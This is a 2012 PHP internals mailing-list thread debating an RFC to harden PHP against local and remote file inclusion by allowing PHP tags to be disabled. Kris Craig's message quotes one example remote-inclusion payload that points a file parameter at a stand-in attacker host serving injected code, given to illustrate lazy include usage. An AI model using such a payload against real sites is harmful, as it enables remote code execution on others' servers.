Re: Re: Disabling PHP tags by php.ini and CLI options

2012/4/12 Yasuo Ohgaki <yohgaki@ohgaki.net>: > Hi, > > 2012/4/12 Kris Craig <kris.craig@gmail.com>: >> >> >> On Wed, Apr 11, 2012 at 1:48 PM, Yasuo Ohgaki <yohgaki@ohgaki.net> wrote: >>> >>> Hi, >>> >>> 2012/4/12 Chris Stockton <chrisstocktonaz@gmail.com>: >>> > Hello, >>> > >>> > On Wed, Apr 11, 2012 at 10:53 AM, Kris Craig <kris.craig@gmail.com> >>> > wrote: >>> >> I can't help but question whether we should even be worrying about >>> >> LFI/RFI >>> >> to begin with.  Personally, I would *never* check-off on code that in >>> >> any >>> >> way used $_GET or $_POST directly in an include/require statement! >>> >>  It's >>> >> just plain lazy.  There's just no excuse for doing that.  Use some sort >>> >> of >>> >> dispatch or translation table.  Sure, it might seem less "magical," >>> >> but >>> >> it'll also protect you from some asshole hitting you with something >>> >> like, >>> >> >>> >> "?file=http://hacksite.com/injectedcode.php?".  The >>> >> individual code >>> >> developer has to take *some* responsibility for their code.  If this is >>> >> such a problem, I would think the solution would be to update our docs >>> >> to >>> >> better warn people about this type of attack and educate them on how >>> >> not to >>> >> write code that's vulnerable to it. >>> >> >>> >> We can make the language secure; but, in the end, a language is only as >>> >> smart as the person using it. >>> >> >>> > >>> > >>> > I really have a hard time understanding how this is even being >>> > discussed, there is no real problem here. Making sure user input is >>> > validated is a core concept of application development. How on earth >>> > can you say "if you don't validate the users input, it's a security >>> > problem, so php must fix it", it's the most ridiculousness argument I >>> > have read on here in ages. >>> >>> It is the same as saying that canary protection for stack smashing >>> or ASLR is useless if programmer write correct code. >>> >>> Don't you appreciate that compilers/OSes have additional mitigation >>> factor, do you? Or would you like to disable all of these mitigation >>> features from your compilers/OSes? I guess not. >>> >>> C language is prone to be weak for buffer overflows, hence it is >>> weak to code execution and/or massive information disclosure. >>> (Like private key disclosure demonstrated by MoPB) >>> >>> Embedded language is prone to be weak for LFI. It also leads >>> to code execution and/or massive information disclosure. >>> >>> These weaknesses are the nature of how languages are made. >>> PHP is pure embedded language and there are people trying to >>> change it. If we are going to change that, it is reasonable to >>> change PHP so that LFI weakness will be closed. >>> >>> Not closing LFI issue is sound like "We have created Java language >>> which is free from memory management, but stack smashing and >>> various overflow issues still remains." >>> >>> > >>> > _IF_ you absolutely must accept arbitrary user urls from users, which >>> > we all have to do at some point, you use socket functions, file >>> > functions, HTTP extension, whatever you want. If you are using INCLUDE >>> > you are using the WRONG TOOL. You are WRONG. >>> >>> Decent programmers knew the most important mitigation factor >>> is input control. It is top listed as monster mitigation in SANS CWE >>> TOP 25 also. I guess nobody would argue that here. >>> >>> > >>> > _IF_ you are needing to display downloaded user data onto a page, a >>> > image for example, you need to use file functions, fpassthru, >>> > something of the source. If you are using INCLUDE to do this, you are >>> > using the WRONG TOOL. You are WRONG. >>> > >>> > _IF_ you for some reason must accept LOCAL PATHS from a user, and you >>> > do not want to pass that input through a validation layer, you are >>> > WRONG. >>> > >>> > It boils down to you either use the right tools and the right >>> > validation methods or I promise this is only one of unlimited possible >>> > security concerns Yasuo. >>> >>> We are discussing PHP being stronger against LFI, if we >>> are going to adopt non-ebmed mode for PHP. >>> >>> PHP  is good language for novice. Do we want them to learn >>> details of LFI which is described in my RFC? How dangerous it is, >>> how it could be exploited, etc. I believe it's just not worth it if we >>> made PHP could work in non-embedded mode. >>> >>> By the way, how many people knew all the exploitation methods that >>> I've written in the RFC? It's a real risk, but I guess many of us >>> don't even think about or care. How we could expect novice or >>> even average PHP programmer care about these risks? >>> >>> It's better that close window as much as possible where it is >>> applicable. >>> >>> Regards, >>> >>> -- >>> Yasuo Ohgaki >>> yohgaki@ohgaki.net >> >> >> But you're basically just using an "either or argument," a classic logical >> fallacy.  I.e. you're saying that, if I believe that the language shouldn't >> be twisted to protect against every single possible vulnerability caused by >> stupid code, then I must also believe that the language should not contain >> any security safeguards, whatsoever.  That's just patently ridiculous. >> >> This isn't an "all or nothing" question.  This particular RFC just >> doesn't >> pass the cost/benefit test IMHO.  That doesn't mean that all >> security-related RFCs don't.  In this case, a substantial change to the >> language would have to be made, and the only benefit would be protecting >> against a very narrow vulnerability that only occurs in really, REALLY bad >> code. > > Why? > It's fully compatible with existing code. > It's as few as 3 lines of change to adopt with decent frameworks. > > I'm missing what made you believe it could cost too much? > > Regards, > > -- > Yasuo Ohgaki > yohgaki@ohgaki.net It's also very easy to write backward compatible code also. The 3 lines of changes to adopt this RFC do not bother old PHP. No compatibility issue for existing code Just 3 lines of change to adopt Full backward compatibility for OLD systems The only issue is NEW code may be disclosed by **OLD** systems. If you think it costs too much still, please let me know. Regards, -- Yasuo Ohgaki yohgaki@ohgaki.net